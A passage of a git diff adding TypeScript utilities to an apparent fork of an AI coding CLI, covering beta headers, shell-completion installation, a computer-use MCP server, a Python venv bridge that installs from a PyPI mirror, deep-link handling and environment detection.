+  (model: string): string[] => {
+    const modelBetas = getAllModelBetas(model)
+    return modelBetas.filter(b => BEDROCK_EXTRA_PARAMS_HEADERS.has(b))
+  },
+)
+
+/**
+ * Merge SDK-provided betas with auto-detected model betas.
+ * SDK betas are read from global state (set via setSdkBetas in main.tsx).
+ * The betas are pre-filtered by filterAllowedSdkBetas which handles
+ * subscriber checks and allowlist validation with warnings.
+ *
+ * @param options.isAgenticQuery - When true, ensures the beta headers needed
+ *   for agentic queries are present. For non-Haiku models these are already
+ *   included by getAllModelBetas(); for Haiku they're excluded since
+ *   non-agentic calls (compaction, classifiers, token estimation) don't need them.
+ */
+export function getMergedBetas(
+  model: string,
+  options?: { isAgenticQuery?: boolean },
+): string[] {
+  if (getAPIProvider() === 'firstParty' && !isFirstPartyAnthropicBaseUrl()) {
+    return []
+  }
+
+  const baseBetas = [...getModelBetas(model)]
+
+  // Agentic queries always need claude-code and cli-internal beta headers.
+  // For non-Haiku models these are already in baseBetas; for Haiku they're
+  // excluded by getAllModelBetas() since non-agentic Haiku calls don't need them.
+  if (options?.isAgenticQuery) {
+    if (!baseBetas.includes(CLAUDE_CODE_20250219_BETA_HEADER)) {
+      baseBetas.push(CLAUDE_CODE_20250219_BETA_HEADER)
+    }
+    if (
+      process.env.USER_TYPE === 'ant' &&
+      process.env.CLAUDE_CODE_ENTRYPOINT === 'cli' &&
+      CLI_INTERNAL_BETA_HEADER &&
+      !baseBetas.includes(CLI_INTERNAL_BETA_HEADER)
+    ) {
+      baseBetas.push(CLI_INTERNAL_BETA_HEADER)
+    }
+  }
+
+  const sdkBetas = getSdkBetas()
+
+  if (!sdkBetas || sdkBetas.length === 0) {
+    return baseBetas
+  }
+
+  // Merge SDK betas without duplicates (already filtered by filterAllowedSdkBetas)
+  return [...baseBetas, ...sdkBetas.filter(b => !baseBetas.includes(b))]
+}
+
+export function clearBetasCaches(): void {
+  getAllModelBetas.cache?.clear?.()
+  getModelBetas.cache?.clear?.()
+  getBedrockExtraBodyParamsBetas.cache?.clear?.()
+}
diff --git a/cc-haha/src/utils/completionCache.ts b/cc-haha/src/utils/completionCache.ts
new file mode 100644
index 0000000..3f0c9d2
--- /dev/null
+++ b/cc-haha/src/utils/completionCache.ts
@@ -0,0 +1,166 @@
+import chalk from 'chalk'
+import { mkdir, readFile, writeFile } from 'fs/promises'
+import { homedir } from 'os'
+import { dirname, join } from 'path'
+import { pathToFileURL } from 'url'
+import { color } from '../components/design-system/color.js'
+import { supportsHyperlinks } from '../ink/supports-hyperlinks.js'
+import { logForDebugging } from './debug.js'
+import { isENOENT } from './errors.js'
+import { execFileNoThrow } from './execFileNoThrow.js'
+import { logError } from './log.js'
+import type { ThemeName } from './theme.js'
+
+const EOL = '\n'
+
+type ShellInfo = {
+  name: string
+  rcFile: string
+  cacheFile: string
+  completionLine: string
+  shellFlag: string
+}
+
+function detectShell(): ShellInfo | null {
+  const shell = process.env.SHELL || ''
+  const home = homedir()
+  const claudeDir = join(home, '.claude')
+
+  if (shell.endsWith('/zsh') || shell.endsWith('/zsh.exe')) {
+    const cacheFile = join(claudeDir, 'completion.zsh')
+    return {
+      name: 'zsh',
+      rcFile: join(home, '.zshrc'),
+      cacheFile,
+      completionLine: `[[ -f "${cacheFile}" ]] && source "${cacheFile}"`,
+      shellFlag: 'zsh',
+    }
+  }
+  if (shell.endsWith('/bash') || shell.endsWith('/bash.exe')) {
+    const cacheFile = join(claudeDir, 'completion.bash')
+    return {
+      name: 'bash',
+      rcFile: join(home, '.bashrc'),
+      cacheFile,
+      completionLine: `[ -f "${cacheFile}" ] && source "${cacheFile}"`,
+      shellFlag: 'bash',
+    }
+  }
+  if (shell.endsWith('/fish') || shell.endsWith('/fish.exe')) {
+    const xdg = process.env.XDG_CONFIG_HOME || join(home, '.config')
+    const cacheFile = join(claudeDir, 'completion.fish')
+    return {
+      name: 'fish',
+      rcFile: join(xdg, 'fish', 'config.fish'),
+      cacheFile,
+      completionLine: `[ -f "${cacheFile}" ] && source "${cacheFile}"`,
+      shellFlag: 'fish',
+    }
+  }
+  return null
+}
+
+function formatPathLink(filePath: string): string {
+  if (!supportsHyperlinks()) {
+    return filePath
+  }
+  const fileUrl = pathToFileURL(filePath).href
+  return `\x1b]8;;${fileUrl}\x07${filePath}\x1b]8;;\x07`
+}
+
+/**
+ * Generate and cache the completion script, then add a source line to the
+ * shell's rc file. Returns a user-facing status message.
+ */
+export async function setupShellCompletion(theme: ThemeName): Promise<string> {
+  const shell = detectShell()
+  if (!shell) {
+    return ''
+  }
+
+  // Ensure the cache directory exists
+  try {
+    await mkdir(dirname(shell.cacheFile), { recursive: true })
+  } catch (e: unknown) {
+    logError(e)
+    return `${EOL}${color('warning', theme)(`Could not write ${shell.name} completion cache`)}${EOL}${chalk.dim(`Run manually: claude completion ${shell.shellFlag} > ${shell.cacheFile}`)}${EOL}`
+  }
+
+  // Generate the completion script by writing directly to the cache file.
+  // Using --output avoids piping through stdout where process.exit() can
+  // truncate output before the pipe buffer drains.
+  const claudeBin = process.argv[1] || 'claude'
+  const result = await execFileNoThrow(claudeBin, [
+    'completion',
+    shell.shellFlag,
+    '--output',
+    shell.cacheFile,
+  ])
+  if (result.code !== 0) {
+    return `${EOL}${color('warning', theme)(`Could not generate ${shell.name} shell completions`)}${EOL}${chalk.dim(`Run manually: claude completion ${shell.shellFlag} > ${shell.cacheFile}`)}${EOL}`
+  }
+
+  // Check if rc file already sources completions
+  let existing = ''
+  try {
+    existing = await readFile(shell.rcFile, { encoding: 'utf-8' })
+    if (
+      existing.includes('claude completion') ||
+      existing.includes(shell.cacheFile)
+    ) {
+      return `${EOL}${color('success', theme)(`Shell completions updated for ${shell.name}`)}${EOL}${chalk.dim(`See ${formatPathLink(shell.rcFile)}`)}${EOL}`
+    }
+  } catch (e: unknown) {
+    if (!isENOENT(e)) {
+      logError(e)
+      return `${EOL}${color('warning', theme)(`Could not install ${shell.name} shell completions`)}${EOL}${chalk.dim(`Add this to ${formatPathLink(shell.rcFile)}:`)}${EOL}${chalk.dim(shell.completionLine)}${EOL}`
+    }
+  }
+
+  // Append source line to rc file
+  try {
+    const configDir = dirname(shell.rcFile)
+    await mkdir(configDir, { recursive: true })
+
+    const separator = existing && !existing.endsWith('\n') ? '\n' : ''
+    const content = `${existing}${separator}\n# Claude Code shell completions\n${shell.completionLine}\n`
+    await writeFile(shell.rcFile, content, { encoding: 'utf-8' })
+
+    return `${EOL}${color('success', theme)(`Installed ${shell.name} shell completions`)}${EOL}${chalk.dim(`Added to ${formatPathLink(shell.rcFile)}`)}${EOL}${chalk.dim(`Run: source ${shell.rcFile}`)}${EOL}`
+  } catch (error) {
+    logError(error)
+    return `${EOL}${color('warning', theme)(`Could not install ${shell.name} shell completions`)}${EOL}${chalk.dim(`Add this to ${formatPathLink(shell.rcFile)}:`)}${EOL}${chalk.dim(shell.completionLine)}${EOL}`
+  }
+}
+
+/**
+ * Regenerate cached shell completion scripts in ~/.claude/.
+ * Called after `claude update` so completions stay in sync with the new binary.
+ */
+export async function regenerateCompletionCache(): Promise<void> {
+  const shell = detectShell()
+  if (!shell) {
+    return
+  }
+
+  logForDebugging(`update: Regenerating ${shell.name} completion cache`)
+
+  const claudeBin = process.argv[1] || 'claude'
+  const result = await execFileNoThrow(claudeBin, [
+    'completion',
+    shell.shellFlag,
+    '--output',
+    shell.cacheFile,
+  ])
+
+  if (result.code !== 0) {
+    logForDebugging(
+      `update: Failed to regenerate ${shell.name} completion cache`,
+    )
+    return
+  }
+
+  logForDebugging(
+    `update: Regenerated ${shell.name} completion cache at ${shell.cacheFile}`,
+  )
+}
diff --git a/cc-haha/src/utils/computerUse/common.test.ts b/cc-haha/src/utils/computerUse/common.test.ts
new file mode 100644
index 0000000..b5c30e2
--- /dev/null
+++ b/cc-haha/src/utils/computerUse/common.test.ts
@@ -0,0 +1,28 @@
+import { describe, expect, it } from 'bun:test'
+
+import {
+  getCliComputerUseCapabilities,
+  isComputerUseSupportedPlatform,
+} from './common.js'
+
+describe('computer use platform helpers', () => {
+  it('recognizes supported platforms', () => {
+    expect(isComputerUseSupportedPlatform('darwin')).toBe(true)
+    expect(isComputerUseSupportedPlatform('win32')).toBe(true)
+    expect(isComputerUseSupportedPlatform('linux')).toBe(false)
+  })
+
+  it('returns macOS capabilities with native screenshot filtering', () => {
+    expect(getCliComputerUseCapabilities('darwin')).toEqual({
+      screenshotFiltering: 'native',
+      platform: 'darwin',
+    })
+  })
+
+  it('returns Windows capabilities with unfiltered screenshots', () => {
+    expect(getCliComputerUseCapabilities('win32')).toEqual({
+      screenshotFiltering: 'none',
+      platform: 'win32',
+    })
+  })
+})
diff --git a/cc-haha/src/utils/computerUse/inputLoader.ts b/cc-haha/src/utils/computerUse/inputLoader.ts
new file mode 100644
index 0000000..f0f2c27
--- /dev/null
+++ b/cc-haha/src/utils/computerUse/inputLoader.ts
@@ -0,0 +1,3 @@
+export function requireComputerUseInput(): any {
+  throw new Error('Native input module replaced by Python bridge. See pythonBridge.ts')
+}
diff --git a/cc-haha/src/utils/computerUse/mcpServer.ts b/cc-haha/src/utils/computerUse/mcpServer.ts
new file mode 100644
index 0000000..6b5100b
--- /dev/null
+++ b/cc-haha/src/utils/computerUse/mcpServer.ts
@@ -0,0 +1,106 @@
+import {
+  buildComputerUseTools,
+  createComputerUseMcpServer,
+} from '../../vendor/computer-use-mcp/index.js'
+import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'
+import { ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'
+import { homedir } from 'os'
+
+import { shutdownDatadog } from '../../services/analytics/datadog.js'
+import { shutdown1PEventLogging } from '../../services/analytics/firstPartyEventLogger.js'
+import { initializeAnalyticsSink } from '../../services/analytics/sink.js'
+import { enableConfigs } from '../config.js'
+import { logForDebugging } from '../debug.js'
+import { filterAppsForDescription } from './appNames.js'
+import { getChicagoCoordinateMode } from './gates.js'
+import { getComputerUseHostAdapter } from './hostAdapter.js'
+
+const APP_ENUM_TIMEOUT_MS = 1000
+
+/**
+ * Enumerate installed apps, timed. Fails soft — if Spotlight is slow or
+ * claude-swift throws, the tool description just omits the list. Resolution
+ * happens at call time regardless; the model just doesn't get hints.
+ */
+async function tryGetInstalledAppNames(): Promise<string[] | undefined> {
+  const adapter = getComputerUseHostAdapter()
+  const enumP = adapter.executor.listInstalledApps()
+  let timer: ReturnType<typeof setTimeout> | undefined
+  const timeoutP = new Promise<undefined>(resolve => {
+    timer = setTimeout(resolve, APP_ENUM_TIMEOUT_MS, undefined)
+  })
+  const installed = await Promise.race([enumP, timeoutP])
+    .catch(() => undefined)
+    .finally(() => clearTimeout(timer))
+  if (!installed) {
+    // The enumeration continues in the background — swallow late rejections.
+    void enumP.catch(() => {})
+    logForDebugging(
+      `[Computer Use MCP] app enumeration exceeded ${APP_ENUM_TIMEOUT_MS}ms or failed; tool description omits list`,
+    )
+    return undefined
+  }
+  return filterAppsForDescription(installed, homedir())
+}
+
+/**
+ * Construct the in-process server. Delegates to the package's
+ * `createComputerUseMcpServer` for the Server object + stub CallTool handler,
+ * then REPLACES the ListTools handler with one that includes installed-app
+ * names in the `request_access` description (the package's factory doesn't
+ * take `installedAppNames`, and Cowork builds its own tool array in
+ * serverDef.ts for the same reason).
+ *
+ * Async so the 1s app-enumeration timeout doesn't block startup — called from
+ * an `await import()` in `client.ts` on first CU connection, not `main.tsx`.
+ *
+ * Real dispatch still goes through `wrapper.tsx`'s `.call()` override; this
+ * server exists only to answer ListTools.
+ */
+export async function createComputerUseMcpServerForCli(): Promise<
+  ReturnType<typeof createComputerUseMcpServer>
+> {
+  const adapter = getComputerUseHostAdapter()
+  const coordinateMode = getChicagoCoordinateMode()
+  const server = createComputerUseMcpServer(adapter, coordinateMode)
+
+  const installedAppNames = await tryGetInstalledAppNames()
+  const tools = buildComputerUseTools(
+    adapter.executor.capabilities,
+    coordinateMode,
+    installedAppNames,
+  )
+  server.setRequestHandler(ListToolsRequestSchema, async () =>
+    adapter.isDisabled() ? { tools: [] } : { tools },
+  )
+
+  return server
+}
+
+/**
+ * Subprocess entrypoint for `--computer-use-mcp`. Mirror of
+ * `runClaudeInChromeMcpServer` — stdio transport, exit on stdin close,
+ * flush analytics before exit.
+ */
+export async function runComputerUseMcpServer(): Promise<void> {
+  enableConfigs()
+  initializeAnalyticsSink()
+
+  const server = await createComputerUseMcpServerForCli()
+  const transport = new StdioServerTransport()
+
+  let exiting = false
+  const shutdownAndExit = async (): Promise<void> => {
+    if (exiting) return
+    exiting = true
+    await Promise.all([shutdown1PEventLogging(), shutdownDatadog()])
+    // eslint-disable-next-line custom-rules/no-process-exit
+    process.exit(0)
+  }
+  process.stdin.on('end', () => void shutdownAndExit())
+  process.stdin.on('error', () => void shutdownAndExit())
+
+  logForDebugging('[Computer Use MCP] Starting MCP server')
+  await server.connect(transport)
+  logForDebugging('[Computer Use MCP] MCP server started')
+}
diff --git a/cc-haha/src/utils/computerUse/pythonBridge.ts b/cc-haha/src/utils/computerUse/pythonBridge.ts
new file mode 100644
index 0000000..fbae507
--- /dev/null
+++ b/cc-haha/src/utils/computerUse/pythonBridge.ts
@@ -0,0 +1,166 @@
+import { createHash } from 'node:crypto'
+import { readFile, mkdir, access, writeFile } from 'node:fs/promises'
+import path from 'node:path'
+import { fileURLToPath } from 'node:url'
+import { execFileNoThrow } from '../execFileNoThrow.js'
+import { logForDebugging } from '../debug.js'
+import { getClaudeConfigHomeDir } from '../envUtils.js'
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url))
+const projectRoot = path.resolve(__dirname, '../../..')
+
+// All runtime state lives in ~/.claude/.runtime — writable in both dev and
+// bundled (Tauri app) modes. The setup API (or ensureRuntimeFiles below)
+// populates requirements.txt and mac_helper.py here.
+const runtimeStateRoot = path.join(getClaudeConfigHomeDir(), '.runtime')
+const venvRoot = path.join(runtimeStateRoot, 'venv')
+const installStampPath = path.join(runtimeStateRoot, 'requirements.sha256')
+
+const PIP_INDEX_URL = 'https://pypi.tuna.tsinghua.edu.cn/simple/'
+const PIP_TRUSTED_HOST = 'pypi.tuna.tsinghua.edu.cn'
+
+const isWindows = process.platform === 'win32'
+
+// Always read from ~/.claude/.runtime/ — works in both dev and bundled mode.
+const requirementsPath = path.join(runtimeStateRoot, 'requirements.txt')
+const helperFileName = isWindows ? 'win_helper.py' : 'mac_helper.py'
+const helperPath = path.join(runtimeStateRoot, helperFileName)
+
+let bootstrapPromise: Promise<void> | undefined
+
+function getPythonCommandEnv(): NodeJS.ProcessEnv | undefined {
+  if (!isWindows) return undefined
+  return {
+    ...process.env,
+    PYTHONIOENCODING: 'utf-8',
+    PYTHONUTF8: '1',
+  }
+}
+
+function pythonBinPath(): string {
+  return isWindows
+    ? path.join(venvRoot, 'Scripts', 'python.exe')
+    : path.join(venvRoot, 'bin', 'python3')
+}
+
+async function pathExists(target: string): Promise<boolean> {
+  try {
+    await access(target)
+    return true
+  } catch {
+    return false
+  }
+}
+
+async function runOrThrow(file: string, args: string[], label: string): Promise<string> {
+  const { code, stdout, stderr } = await execFileNoThrow(file, args, { useCwd: false })
+  if (code !== 0) {
+    throw new Error(`${label} failed with code ${code}: ${stderr || stdout || 'unknown error'}`)
+  }
+  return stdout
+}
+
+/**
+ * Ensure runtime source files exist in ~/.claude/.runtime/.
+ * In dev mode, copies from the project's runtime/ directory on first run.
+ * In bundled mode, these must have been placed there by the settings setup API.
+ */
+async function ensureRuntimeFiles(): Promise<void> {
+  await mkdir(runtimeStateRoot, { recursive: true })
+
+  const devReqFile = isWindows ? 'requirements-win.txt' : 'requirements.txt'
+  const devRequirements = path.join(projectRoot, 'runtime', devReqFile)
+  const devHelper = path.join(projectRoot, 'runtime', helperFileName)
+
+  // Always sync from dev runtime/ so source changes are reflected immediately.
+  // Previously this only copied when the dest was missing, causing stale files
+  // to persist after source updates — breaking mouse/keyboard actions if the
+  // cached copy was from an older version.
+  if (await pathExists(devRequirements)) {
+    await writeFile(requirementsPath, await readFile(devRequirements, 'utf8'), 'utf8')
+  }
+  if (await pathExists(devHelper)) {
+    await writeFile(helperPath, await readFile(devHelper, 'utf8'), 'utf8')
+  }
+}
+
+export async function ensureBootstrapped(): Promise<void> {
+  if (bootstrapPromise) return bootstrapPromise
+  bootstrapPromise = (async () => {
+    // Extract runtime files (requirements.txt, mac_helper.py) to state dir
+    await ensureRuntimeFiles()
+
+    if (!(await pathExists(pythonBinPath()))) {
+      logForDebugging('creating runtime venv at %s', { level: 'debug' })
+      const pythonCmd = isWindows ? 'python' : 'python3'
+      await runOrThrow(pythonCmd, ['-m', 'venv', venvRoot], 'python venv creation')
+    }
+
+    const pipBin = isWindows
+      ? path.join(venvRoot, 'Scripts', 'pip.exe')
+      : path.join(venvRoot, 'bin', 'pip')
+    if (!(await pathExists(pipBin))) {
+      logForDebugging('bootstrapping pip with ensurepip', { level: 'debug' })
+      await runOrThrow(pythonBinPath(), ['-m', 'ensurepip', '--upgrade'], 'ensurepip')
+    }
+
+    const requirements = await readFile(requirementsPath, 'utf8')
+    const digest = createHash('sha256').update(requirements).digest('hex')
+    let installedDigest = ''
+    try {
+      installedDigest = (await readFile(installStampPath, 'utf8')).trim()
+    } catch {}
+
+    if (installedDigest !== digest) {
+      logForDebugging('installing python runtime dependencies', { level: 'debug' })
+      await runOrThrow(pythonBinPath(), [
+        '-m', 'pip', 'install', '--upgrade', 'pip',
+        '-i', PIP_INDEX_URL, '--trusted-host', PIP_TRUSTED_HOST,
+      ], 'pip upgrade')
+      await runOrThrow(
+        pythonBinPath(),
+        ['-m', 'pip', 'install', '-r', requirementsPath,
+         '-i', PIP_INDEX_URL, '--trusted-host', PIP_TRUSTED_HOST],
+        'python dependency install',
+      )
+      await writeFile(installStampPath, `${digest}\n`, 'utf8')
+    }
+  })()
+
+  try {
+    await bootstrapPromise
+  } catch (error) {
+    bootstrapPromise = undefined
+    throw error
+  }
+}
+
+export async function callPythonHelper<T>(command: string, payload: Record<string, unknown> = {}): Promise<T> {
+  await ensureBootstrapped()
+  const { code, stdout, stderr } = await execFileNoThrow(
+    pythonBinPath(),
+    [helperPath, command, '--payload', JSON.stringify(payload)],
+    { useCwd: false, env: getPythonCommandEnv() },
+  )
+
+  if (code !== 0 && !stdout.trim()) {
+    throw new Error(stderr || `Python helper ${command} failed with code ${code}`)
+  }
+
+  let parsed: { ok: boolean; result?: T; error?: { message?: string } }
+  try {
+    parsed = JSON.parse(stdout)
+  } catch {
+    throw new Error(stderr || stdout || `Python helper ${command} returned invalid JSON`)
+  }
+
+  if (!parsed.ok) {
+    throw new Error(parsed.error?.message || `Python helper ${command} failed`)
+  }
+
+  return parsed.result as T
+}
+
+export function getRuntimePaths(): { projectRoot: string; runtimeStateRoot: string; venvRoot: string } {
+  return { projectRoot, runtimeStateRoot, venvRoot }
+}
diff --git a/cc-haha/src/utils/deepLink/protocolHandler.ts b/cc-haha/src/utils/deepLink/protocolHandler.ts
new file mode 100644
index 0000000..c6f6aab
--- /dev/null
+++ b/cc-haha/src/utils/deepLink/protocolHandler.ts
@@ -0,0 +1,136 @@
+/**
+ * Protocol Handler
+ *
+ * Entry point for `claude --handle-uri <url>`. When the OS invokes claude
+ * with a `claude-cli://` URL, this module:
+ *   1. Parses the URI into a structured action
+ *   2. Detects the user's terminal emulator
+ *   3. Opens a new terminal window running claude with the appropriate args
+ *
+ * This runs in a headless context (no TTY) because the OS launches the binary
+ * directly — there is no terminal attached.
+ */
+
+import { homedir } from 'os'
+import { logForDebugging } from '../debug.js'
+import {
+  filterExistingPaths,
+  getKnownPathsForRepo,
+} from '../githubRepoPathMapping.js'
+import { jsonStringify } from '../slowOperations.js'
+import { readLastFetchTime } from './banner.js'
+import { parseDeepLink } from './parseDeepLink.js'
+import { MACOS_BUNDLE_ID } from './registerProtocol.js'
+import { launchInTerminal } from './terminalLauncher.js'
+
+/**
+ * Handle an incoming deep link URI.
+ *
+ * Called from the CLI entry point when `--handle-uri` is passed.
+ * This function parses the URI, resolves the claude binary, and
+ * launches it in the user's terminal.
+ *
+ * @param uri - The raw URI string (e.g., "claude-cli://prompt?q=hello+world")
+ * @returns exit code (0 = success)
+ */
+export async function handleDeepLinkUri(uri: string): Promise<number> {
+  logForDebugging(`Handling deep link URI: ${uri}`)
+
+  let action
+  try {
+    action = parseDeepLink(uri)
+  } catch (error) {
+    const message = error instanceof Error ? error.message : String(error)
+    // biome-ignore lint/suspicious/noConsole: intentional error output
+    console.error(`Deep link error: ${message}`)
+    return 1
+  }
+
+  logForDebugging(`Parsed deep link action: ${jsonStringify(action)}`)
+
+  // Always the running executable — no PATH lookup. The OS launched us via
+  // an absolute path (bundle symlink / .desktop Exec= / registry command)
+  // baked at registration time, and we want the terminal-launched Claude to
+  // be the same binary. process.execPath is that binary.
+  const { cwd, resolvedRepo } = await resolveCwd(action)
+  // Resolve FETCH_HEAD age here, in the trampoline process, so main.tsx
+  // stays await-free — the launched instance receives it as a precomputed
+  // flag instead of statting the filesystem on its own startup path.
+  const lastFetch = resolvedRepo ? await readLastFetchTime(cwd) : undefined
+  const launched = await launchInTerminal(process.execPath, {
+    query: action.query,
+    cwd,
+    repo: resolvedRepo,
+    lastFetchMs: lastFetch?.getTime(),
+  })
+  if (!launched) {
+    // biome-ignore lint/suspicious/noConsole: intentional error output
+    console.error(
+      'Failed to open a terminal. Make sure a supported terminal emulator is installed.',
+    )
+    return 1
+  }
+
+  return 0
+}
+
+/**
+ * Handle the case where claude was launched as the app bundle's executable
+ * by macOS (via URL scheme). Uses the NAPI module to receive the URL from
+ * the Apple Event, then handles it normally.
+ *
+ * @returns exit code (0 = success, 1 = error, null = not a URL launch)
+ */
+export async function handleUrlSchemeLaunch(): Promise<number | null> {
+  // LaunchServices overwrites __CFBundleIdentifier with the launching bundle's
+  // ID. This is a precise positive signal — it's set to our exact bundle ID
+  // if and only if macOS launched us via the URL handler .app bundle.
+  // (`open` from a terminal passes the caller's env through, so negative
+  // heuristics like !TERM don't work — the terminal's TERM leaks in.)
+  if (process.env.__CFBundleIdentifier !== MACOS_BUNDLE_ID) {
+    return null
+  }
+
+  try {
+    const { waitForUrlEvent } = await import('url-handler-napi')
+    const url = waitForUrlEvent(5000)
+    if (!url) {
+      return null
+    }
+    return await handleDeepLinkUri(url)
+  } catch {
+    // NAPI module not available, or handleDeepLinkUri rejected — not a URL launch
+    return null
+  }
+}
+
+/**
+ * Resolve the working directory for the launched Claude instance.
+ * Precedence: explicit cwd > repo lookup (MRU clone) > home.
+ * A repo that isn't cloned locally is not an error — fall through to home
+ * so a web link referencing a repo the user doesn't have still opens Claude.
+ *
+ * Returns the resolved cwd, and the repo slug if (and only if) the MRU
+ * lookup hit — so the launched instance can show which clone was selected
+ * and its git freshness.
+ */
+async function resolveCwd(action: {
+  cwd?: string
+  repo?: string
+}): Promise<{ cwd: string; resolvedRepo?: string }> {
+  if (action.cwd) {
+    return { cwd: action.cwd }
+  }
+  if (action.repo) {
+    const known = getKnownPathsForRepo(action.repo)
+    const existing = await filterExistingPaths(known)
+    if (existing[0]) {
+      logForDebugging(`Resolved repo ${action.repo} → ${existing[0]}`)
+      return { cwd: existing[0], resolvedRepo: action.repo }
+    }
+    logForDebugging(
+      `No local clone found for repo ${action.repo}, falling back to home`,
+    )
+  }
+  return { cwd: homedir() }
+}
diff --git a/cc-haha/src/utils/embeddedTools.ts b/cc-haha/src/utils/embeddedTools.ts
new file mode 100644
index 0000000..9b955d7
--- /dev/null
+++ b/cc-haha/src/utils/embeddedTools.ts
@@ -0,0 +1,29 @@
+import { isEnvTruthy } from './envUtils.js'
+
+/**
+ * Whether this build has bfs/ugrep embedded in the bun binary (ant-native only).
+ *
+ * When true:
+ * - `find` and `grep` in Claude's Bash shell are shadowed by shell functions
+ *   that invoke the bun binary with argv0='bfs' / argv0='ugrep' (same trick
+ *   as embedded ripgrep)
+ * - The dedicated Glob/Grep tools are removed from the tool registry
+ * - Prompt guidance steering Claude away from find/grep is omitted
+ *
+ * Set as a build-time define in scripts/build-with-plugins.ts for ant-native builds.
+ */
+export function hasEmbeddedSearchTools(): boolean {
+  if (!isEnvTruthy(process.env.EMBEDDED_SEARCH_TOOLS)) return false
+  const e = process.env.CLAUDE_CODE_ENTRYPOINT
+  return (
+    e !== 'sdk-ts' && e !== 'sdk-py' && e !== 'sdk-cli' && e !== 'local-agent'
+  )
+}
+
+/**
+ * Path to the bun binary that contains the embedded search tools.
+ * Only meaningful when hasEmbeddedSearchTools() is true.
+ */
+export function embeddedSearchToolsBinaryPath(): string {
+  return process.execPath
+}
diff --git a/cc-haha/src/utils/envDynamic.ts b/cc-haha/src/utils/envDynamic.ts
new file mode 100644
index 0000000..ee24ce3
--- /dev/null
+++ b/cc-haha/src/utils/envDynamic.ts
@@ -0,0 +1,151 @@
+import { feature } from 'bun:bundle'
+import { stat } from 'fs/promises'
+import memoize from 'lodash-es/memoize.js'
+import { env, JETBRAINS_IDES } from './env.js'
+import { isEnvTruthy } from './envUtils.js'
+import { execFileNoThrow } from './execFileNoThrow.js'
+import { getAncestorCommandsAsync } from './genericProcessUtils.js'
+
+// Functions that require execFileNoThrow and thus cannot be in env.ts
+
+const getIsDocker = memoize(async (): Promise<boolean> => {
+  if (process.platform !== 'linux') return false
+  // Check for .dockerenv file
+  const { code } = await execFileNoThrow('test', ['-f', '/.dockerenv'])
+  return code === 0
+})
+
+function getIsBubblewrapSandbox(): boolean {
+  return (
+    process.platform === 'linux' &&
+    isEnvTruthy(process.env.CLAUDE_CODE_BUBBLEWRAP)
+  )
+}
+
+// Cache for the runtime musl detection fallback (node/unbundled only).
+// In native linux builds, feature flags resolve this at compile time, so the
+// cache is only consulted when both IS_LIBC_MUSL and IS_LIBC_GLIBC are false.
+let muslRuntimeCache: boolean | null = null
+
+// Fire-and-forget: populate the musl cache for the node fallback path.
+// Native builds never reach this (feature flags short-circuit), so this only
+// matters for unbundled node on Linux. Installer calls on native builds are
+// unaffected since feature() resolves at compile time.
+if (process.platform === 'linux') {
+  const muslArch = process.arch === 'x64' ? 'x86_64' : 'aarch64'
+  void stat(`/lib/libc.musl-${muslArch}.so.1`).then(
+    () => {
+      muslRuntimeCache = true
+    },
+    () => {
+      muslRuntimeCache = false
+    },
+  )
+}
+
+/**
+ * Checks if the system is using MUSL libc instead of glibc.
+ * In native linux builds, this is statically known at compile time via IS_LIBC_MUSL/IS_LIBC_GLIBC flags.
+ * In node (unbundled), both flags are false and we fall back to a runtime async stat check
+ * whose result is cached at module load. If the cache isn't populated yet, returns false.
+ */
+function isMuslEnvironment(): boolean {
+  if (feature('IS_LIBC_MUSL')) return true
+  if (feature('IS_LIBC_GLIBC')) return false
+
+  // Fallback for node: runtime detection via pre-populated cache
+  if (process.platform !== 'linux') return false
+  return muslRuntimeCache ?? false
+}
+
+// Cache for async JetBrains detection
+let jetBrainsIDECache: string | null | undefined
+
+async function detectJetBrainsIDEFromParentProcessAsync(): Promise<
+  string | null
+> {
+  if (jetBrainsIDECache !== undefined) {
+    return jetBrainsIDECache
+  }
+
+  if (process.platform === 'darwin') {
+    jetBrainsIDECache = null
+    return null // macOS uses bundle ID detection which is already handled
+  }
+
+  try {
+    // Get ancestor commands in a single call (avoids sync bash in loop)
+    const commands = await getAncestorCommandsAsync(process.pid, 10)
+
+    for (const command of commands) {
+      const lowerCommand = command.toLowerCase()
+      // Check for specific JetBrains IDEs in the command line
+      for (const ide of JETBRAINS_IDES) {
+        if (lowerCommand.includes(ide)) {
+          jetBrainsIDECache = ide
+          return ide
+        }
+      }
+    }
+  } catch {
+    // Silently fail - this is a best-effort detection
+  }
+
+  jetBrainsIDECache = null
+  return null
+}
+
+export async function getTerminalWithJetBrainsDetectionAsync(): Promise<
+  string | null
+> {
+  // Check for JetBrains terminal on Linux/Windows
+  if (process.env.TERMINAL_EMULATOR === 'JetBrains-JediTerm') {
+    // For macOS, bundle ID detection above already handles JetBrains IDEs
+    if (env.platform !== 'darwin') {
+      const specificIDE = await detectJetBrainsIDEFromParentProcessAsync()
+      return specificIDE || 'pycharm'
+    }
+  }
+  return env.terminal
+}
+
+// Synchronous version that returns cached result or falls back to env.terminal
+// Used for backward compatibility - callers should migrate to async version
+export function getTerminalWithJetBrainsDetection(): string | null {
+  // Check for JetBrains terminal on Linux/Windows
+  if (process.env.TERMINAL_EMULATOR === 'JetBrains-JediTerm') {
+    // For macOS, bundle ID detection above already handles JetBrains IDEs
+    if (env.platform !== 'darwin') {
+      // Return cached value if available, otherwise fall back to generic detection
+      // The async version should be called early in app initialization to populate cache
+      if (jetBrainsIDECache !== undefined) {
+        return jetBrainsIDECache || 'pycharm'
+      }
+      // Fall back to generic 'pycharm' if cache not populated yet
+      return 'pycharm'
+    }
+  }
+  return env.terminal
+}
+
+/**
+ * Initialize JetBrains IDE detection asynchronously.
+ * Call this early in app initialization to populate the cache.
+ * After this resolves, getTerminalWithJetBrainsDetection() will return accurate results.
+ */
+export async function initJetBrainsDetection(): Promise<void> {
+  if (process.env.TERMINAL_EMULATOR === 'JetBrains-JediTerm') {
+    await detectJetBrainsIDEFromParentProcessAsync()
+  }
+}
+
+// Combined export that includes all env properties plus dynamic functions
+export const envDynamic = {
+  ...env, // Include all properties from env
+  terminal: getTerminalWithJetBrainsDetection(),
+  getIsDocker,
+  getIsBubblewrapSandbox,
+  isMuslEnvironment,
+  getTerminalWithJetBrainsDetectionAsync,
+  initJetBrainsDetection,
+}
diff --git a/cc-haha/src/utils/fileHistory.ts b/cc-haha/src/utils/fileHistory.ts
new file mode 100644
index 0000000..4e227d9
--- /dev/null
+++ b/cc-haha/src/utils/fileHistory.ts
@@ -0,0 +1,1115 @@
